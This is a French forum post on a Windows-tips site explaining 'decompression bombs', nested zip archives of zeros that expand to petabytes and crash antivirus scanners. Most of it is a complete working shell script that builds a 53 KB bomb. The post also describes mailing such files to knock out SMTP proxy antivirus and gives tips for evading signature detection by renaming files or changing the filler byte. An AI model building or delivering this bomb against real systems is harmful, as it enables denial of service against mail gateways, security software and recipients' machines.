ASTUCES-INFOS PRATIQUES WINDOWS

tutoriels et astuces windows
 
AccueilAccueil  PortailPortail  FAQFAQ  RechercherRechercher  S'enregistrerS'enregistrer  MembresMembres  GroupesGroupes  ConnexionConnexion  

Partagez | 
 

 Les denis de service par « decompression bomb’s »

Voir le sujet précédent Voir le sujet suivant Aller en bas 
AuteurMessage
nikola
Rang: Administrateur


Nombre de messages : 410
Localisation : region parisienne 92
Date d'inscription : 16/12/2004

MessageSujet: Les denis de service par « decompression bomb’s »   Jeu 16 Juin à 21:44

L’idée de base est simple mais il fallait y penser. La plupart des antivirus modernes on la capacité d’analyser des fichiers compressés avec une occurrence (zip dans un zip dans un zip poupées russes quoi) plus ou moins longue. En effet, ils permettent de dézipper plusieurs fois une archive afin de vérifier si les fichiers présents dans ces archives sont infectés. Ces opérations s’effectuent soit dans un espace temporaire dédié soit par le biais de la mémoire virtuelle (swap). L’idée est de créer un fichier zip de quelques kilos qui une fois dézippé dans son intégralité représente plusieurs pétaoctets de données et donc sature l’espace disque dédié ainsi que la charge du microprocesseur créant ainsi un déni de service (dos). Mais comment cela est-il possible ? Par Franckix !



C’est très simple il suffit de créer un fichier rempli de zéro (ou autre caractère identiques) de plusieurs centaines de mégaoctets de le zipper. Les caractères étant répétitifs le résultat obtient un excellent taux de compression, par exemple un fichier de 4G0 rempli de zéro compressé avec le taux le plus élevé correspond à une archive zip de 4070k0 ce fichier est copié plusieurs fois puis les fichiers obtenus sont compressés a leur tour dans une archive zip. Cette opération est répété plusieurs fois de suite jusqu’à n’obtenir qu’une archive de quelques dizaine de kilo (en fait au bout de trois occurrence la taille ne diminue plus elle augmente légèrement mais la taille globale de l’archive elle augmente considérablement).

J’ai fais l’essai sous linux en shell script cela m’a pris cinq minutes pour créer le script et le résultat était surprenant.

Petit détail pour plus de compréhension

16 fichier zip de 4Mo correspondant à 4Go de zéro chacun zippés dans une seule archive qui ne fait plus que 161 Ko ce fichier est a sont tour copié 16 fois et zippé dans une archive qui ne fais que quelques centaines de 32Ko cet opération est répété 4 fois et on obtient un fichier zip de 53Ko environ. Il y a en tout 5 occurrences, donc la somme des fichiers et la somme de (16 puissance n) avec n allant de 1 à 6 donc pas moins de 17895696 fichiers. La taille totale de cette archive décompressée est de 76861429059158016 octets soit 68 pétaoctets environ.

Petit shémas pour enfoncer le clou :

4Go de zéros ->compressés->fermion0.dll -
4Go de zéros ->compressés->fermion1.dll |
4Go de zéros ->compressés->fermion2.dll |
4Go de zéros ->compressés->fermion3.dll |
4Go de zéros ->compressés->fermion4.dll |
4Go de zéros ->compressés->fermion5.dll |
4Go de zéros ->compressés->fermion6.dll |
4Go de zéros ->compressés->fermion7.dll | --> compressés --> quark(0 à f).dll --> compressés --> proton(0 à f).zip --
4Go de zéros ->compressés->fermion8.dll |
4Go de zéros ->compressés->fermion9.dll |
4Go de zéros ->compressés->fermiona.dll |
4Go de zéros ->compressés->fermionb.dll |
4Go de zéros ->compressés->fermionc.dll |
4Go de zéros ->compressés->fermiond.dll |
4Go de zéros ->compressés->fermione.dll |
4Go de zéros ->compressés->fermionf.dll –

--> compressé --> atome(0 à f).zip --> compressés --> molecule(0 à f).zip --> compressés --> adn(0 à f).zip --> compressés
--> surprise_inside.zip

voici le petit script qui permet de concevoir une tel merveille. Pour l’exécuter il faut bien sur être sous linux il faut que les exécutables gzip, zip, dd, et awk soient présents sinon installer les paquetages correspondants. Il faut bien sur donner le droit en exécution au script et un dernier petit conseil il faut être sur une partition ext2 ou 3, car j’ai fait l’essai sur une partition dos et le résultat ne faisait plus 53Ko mais 400 ko, ceci est sûrement du à la gestion des clusters de FAT. Il faut peu d’espace disque pour l’exécuter car les 4G0 sont crées à la volée et non sur le disque donc la taille minimum de libre pour pouvoir l’exécuter doit être de 16 x 4Mo (64Mo taille des fichiers de la première occurrence).

#!/bin/sh
clear
echo "création du fichier référence"
dd if=/dev/zero bs=1M count=4096 2>/dev/null | gzip -9 >fermion0.dll
echo "copie de ce fichier 15 fois"
i=1
while [ $i -le 9 ]
do
cp fermion0.dll fermion`echo -e "x$((30+$i))"`.dll
i=$(($i+1))
done
while [ $i -le 15 ]
do
cp fermion0.dll fermion`echo -e "x$((51+$i))"`.dll
i=$(($i+1))
done
echo "taille de chaque fichier fermion?.dll : `ls -alh fermion0.dll|awk '{print }'`"
echo
echo "création de la première occurence"
zip -R9 quark0.zip '*.dll' 1>/dev/null
rm -f *.dll
echo "copie de ce fichier 15 fois"
i=1
while [ $i -le 9 ]
do
cp quark0.zip quark`echo -e "x$((30+$i))"`.zip
i=$(($i+1))
done
while [ $i -le 15 ]
do
cp quark0.zip quark`echo -e "x$((51+$i))"`.zip
i=$(($i+1))
done
echo "taille de chaque fichier quark?.zip : `ls -alh quark0.zip|awk '{print }'`"
echo
echo "création de la deuxième occurence"
zip -R9 proton0.zip 'quark?.zip' 1>/dev/null
rm -f quark*.zip
echo "copie de ce fichier 15 fois"
i=1
while [ $i -le 9 ]
do
cp proton0.zip proton`echo -e "x$((30+$i))"`.zip
i=$(($i+1))
done
while [ $i -le 15 ]
do
cp proton0.zip proton`echo -e "x$((51+$i))"`.zip
i=$(($i+1))
done
echo "taille de chaque fichier proton?.zip : `ls -alh proton0.zip|awk '{print }'`"
echo
echo "création de la troisième occurence"
zip -R9 atome0.zip 'proton?.zip' 1>/dev/null
rm -f proton*.zip
echo "copie de ce fichier 15 fois"
i=1
while [ $i -le 9 ]
do
cp atome0.zip atome`echo -e "x$((30+$i))"`.zip
i=$(($i+1))
done
while [ $i -le 15 ]
do
cp atome0.zip atome`echo -e "x$((51+$i))"`.zip
i=$(($i+1))
done
echo "taille de chaque fichier atome?.zip : `ls -alh atome0.zip|awk '{print }'`"
echo
echo "création de la quatrième occurence"
zip -R9 molecule0.zip 'atome?.zip' 1>/dev/null
rm -f atome*.zip
echo "copie de ce fichier 15 fois"
i=1
while [ $i -le 9 ]
do
cp molecule0.zip molecule`echo -e "x$((30+$i))"`.zip
i=$(($i+1))
done
while [ $i -le 15 ]
do
cp molecule0.zip molecule`echo -e "x$((51+$i))"`.zip
i=$(($i+1))
done
echo "taille de chaque fichier molecule?.zip : `ls -alh molecule0.zip|awk '{print }'`"
echo
echo "création de la cinquième occurence"
zip -R9 adn0.zip 'molecule?.zip' 1>/dev/null
rm -f molecule*.zip
echo "copie de ce fichier 15 fois"
i=1
while [ $i -le 9 ]
do
cp adn0.zip adn`echo -e "x$((30+$i))"`.zip
i=$(($i+1))
done
while [ $i -le 15 ]
do
cp adn0.zip adn`echo -e "x$((51+$i))"`.zip
i=$(($i+1))
done
echo "taille de chaque fichier adn?.zip : `ls -alh adn0.zip|awk '{print }'`"
echo
echo "création du fichier final"
zip -R9 surprise_inside.zip 'adn?.zip' 1>/dev/null
rm -f adn*.zip
echo "taille du fichier surprise_inside.zip : `ls -alh surprise_inside.zip|awk '{print }'`"
echo


Ce genre de fichier est souvent envoyé en pièce jointe dans un mail dans le but de faire planter l’antivirus du proxy smtp, ceci dit si il arrive jusqu’à son correpondant il y a de fortes chances pour que ce soit carrément l’antivirus de celui-ci.

Certains antivirus peuvent détecter ce genre de bombe, enfin c’est le cas de Kaspersky je crois mais le principale problème c’est qu’il l’identifie sur la base d’une signature donc il suffit de changer le nom de fichiers ou de remplacer les 0 par un autre caractère pour qu’il ne les détecte plus. La solution serais d’analyser la taille possible de chacune des occurrences avant de les décompresser mais il faut croire que les éditeurs d’antivirus sont trop bêtes pour s’en rendre compte.

Je vous conseil de le mettre dans un espace que votre antivirus n’ira pas analyser si vous voulez éviter d’avoir votre disque saturé . et si vous vous l’envoyez par mail évitez d’activer l’analyse de mail en temps réel. Le fait de changer l’extension de fichier ne change pas grand-chose ; norton c’est fait baisé car il a vu que son contenu était un zip il a quand même voulu le dézipper pour analyse (ctrl-alt-suppr est mon ami).

Petit détail pour finir l’exemple que j’ai fait n’est qu’un exemple il existe d’autres types de fichiers ou l’on peut utiliser cette technique, cela peut être des image (gif png) ce qui sous entend que l’on peut se faire avoir en surfant sur un site ou ce type d’image est présent dans un page.
Pour connaître un tableau récapitulant les antivirus qui détectent ce genre de fichiers et les programmes plus ou moins vulnérables consultez cette page.

http://www.aerasec.de/security/advisories/decompression-bomb-vulnerability.html

Evitez de faire trop joujou avec ce genre de fichier cela pourrait se retourner contre vous

Enjoy

_________________
{[-KESKIA-]}
Revenir en haut Aller en bas
Voir le profil de l'utilisateur http://www.keskia.forumactif.com
 
Les denis de service par « decompression bomb’s »
Voir le sujet précédent Voir le sujet suivant Revenir en haut 
Page 1 sur 1
 Sujets similaires
-
» probleme lier au service achat offre fx
» Nouveau service et décoration de noël
» [Résolu] Teknum System : vilain ?
» Liste stations de service.
» POI stations service TOTAL et ELAN

Permission de ce forum:Vous ne pouvez pas répondre aux sujets dans ce forum
ASTUCES-INFOS PRATIQUES WINDOWS :: INFORMATIQUE PRATIQUE :: trucs et astuces pratiques-
Sauter vers: